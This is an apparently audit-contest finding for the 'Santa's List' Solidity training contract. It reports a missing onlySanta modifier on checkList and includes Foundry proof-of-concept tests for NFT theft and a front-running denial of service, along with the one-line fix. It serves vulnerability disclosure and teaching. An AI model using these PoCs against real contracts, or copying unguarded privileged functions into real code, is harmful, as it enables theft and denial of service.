Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

[High-01] Missing access control on `SantasList::checkList` allows any address to self-assign `NICE` status and collect presents without Santa's approval

Description

SantasList::checkList is intended to be called exclusively by Santa to set the initial status of a person on the list. However, the function has no onlySanta modifier or any form of access control, allowing any arbitrary address to call it and assign themselves or others any Status — including NICE or EXTRA_NICE — bypassing the entire vetting process.

function checkList(address person, Status status) external {
@> // no modifier — anyone can call this
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Combined with SantasList::checkTwice being correctly restricted to Santa, an attacker only needs to self-assign NICE via SantasList::checkList and then wait for Santa to double-check anyone (or find another path to populate s_theListCheckedTwice). As demonstrated in the PoC, if Santa independently checks the attacker twice with the same status, the attacker can call SantasList::collectPresent and receive an NFT they never legitimately earned.

// Full attack flow:
// 1. Attacker calls checkList on themselves → NICE (no restriction)
// 2. Santa calls checkTwice on attacker → NICE (Santa is deceived or coincidental)
// 3. Attacker calls collectPresent → receives NFT

Impact

Severity: High

  • Any address can unilaterally grant themselves NICE or EXTRA_NICE status with no authentication.

  • Combined with a cooperative or deceived Santa calling SantasList::checkTwice, the attacker can drain unlimited NFT presents from the protocol.

  • The entire trust model of the two-step verification system (checkList + checkTwice) is rendered meaningless — the first check is completely open.

  • All present NFTs can be collected by unauthorized addresses, depriving legitimate Nice/Extra Nice recipients of their rewards.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
contract SantasListAccessControlTest is Test {
SantasList santasList;
address santa = makeAddr("santa");
address attk = makeAddr("attacker");
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
}
function test_attackCheckList() public {
// Step 1: Attacker self-assigns NICE — no restriction, succeeds
vm.prank(attk);
santasList.checkList(attk, SantasList.Status.NICE);
// Step 2: Santa checks attacker twice (deceived or coincidental)
vm.prank(santa);
santasList.checkTwice(attk, SantasList.Status.NICE);
// Step 3: Warp to Christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
// Verify attacker is marked NICE on both checks
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(attk)),
uint256(SantasList.Status.NICE)
);
assertEq(
uint256(santasList.getNaughtyOrNiceTwice(attk)),
uint256(SantasList.Status.NICE)
);
// Step 4: Attacker collects present — should not be possible
vm.prank(attk);
santasList.collectPresent();
// Attacker holds an NFT they never legitimately earned
assertEq(santasList.balanceOf(attk), 1);
}
}

Expected output:

// All assertions pass — attacker successfully collects a present
// with zero involvement from Santa on the first check
santasList.balanceOf(attk) == 1

Mitigation

Add the onlySanta modifier to SantasList::checkList, mirroring the access control already correctly applied to SantasList::checkTwice.

// Before
function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
// After
function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Note: Review all state-mutating functions in SantasList for missing access control — if SantasList::checkList was left unguarded, other privileged functions may share the same oversight. A full access control matrix mapping every function to its intended caller should be part of the test suite as an invariant check.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 10 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Anyone is able to call `checkList` function in SantasList contract and prevent any address from becoming `NICE` or `EXTRA_NICE` and collect present.

## Description With the current design of the protocol, anyone is able to call `checkList` function in SantasList contract, while documentation says only Santa should be able to call it. This can be considered as an access control vulnerability, because not only santa is allowed to make the first check. ## Vulnerability Details An attacker could simply call the external `checkList` function, passing as parameter the address of someone else and the enum Status `NAUGHTY`(or `NOT_CHECKED_TWICE`, which should actually be `UNKNOWN` given documentation). By doing that, Santa will not be able to execute `checkTwice` function correctly for `NICE` and `EXTRA_NICE` people. Indeed, if Santa first checked a user and assigned the status `NICE` or `EXTRA_NICE`, anyone is able to call `checkList` function again, and by doing so modify the status. This could result in Santa unable to execute the second check. Moreover, any malicious actor could check the mempool and front run Santa just before calling `checkTwice` function to check users. This would result in a major denial of service issue. ## Impact The impact of this vulnerability is HIGH as it results in a broken mechanism of the check list system. Any user could be declared `NAUGHTY` for the first check at any time, preventing present collecting by users although Santa considered the user as `NICE` or `EXTRA_NICE`. Santa could still call `checkList` function again to reassigned the status to `NICE` or `EXTRA_NICE` before calling `checkTwice` function, but any malicious actor could front run the call to `checkTwice` function. In this scenario, it would be impossible for Santa to actually double check a `NICE` or `EXTRA_NICE` user. ## Proof of Concept Just copy paste this test in SantasListTest contract : ``` function testDosAttack() external { vm.startPrank(makeAddr("attacker")); // any user can checList any address and assigned status to naughty // an attacker could front run Santa before the second check santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); vm.startPrank(santa); vm.expectRevert(); // Santa is unable to check twice the user santasList.checkTwice(makeAddr("user"), SantasList.Status.NICE); vm.stopPrank(); } ``` ## Recommendations I suggest to add the `onlySanta` modifier to `checkList` function. This will ensure the first check can only be done by Santa, and prevent DOS attack on the contract. With this modifier, specification will be respected : "In this contract Only Santa to take the following actions: - checkList: A function that changes an address to a new Status of NICE, EXTRA_NICE, NAUGHTY, or UNKNOWN on the original s_theListCheckedOnce list." The following code will resolve this access control issue, simply by adding `onlySanta` modifier: ``` function checkList(address person, Status status) external onlySanta { s_theListCheckedOnce[person] = status; emit CheckedOnce(person, status); } ``` No malicious actor is now able to front run Santa before `checkTwice` function call. The following tests shows that doing the first check for another user is impossible after adding `onlySanta` modifier: ``` function testDosResolved() external { vm.startPrank(makeAddr("attacker")); // checklist function call will revert if a user tries to execute the first check for another user vm.expectRevert(SantasList.SantasList__NotSanta.selector); santasList.checkList(makeAddr("user"), SantasList.Status.NAUGHTY); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!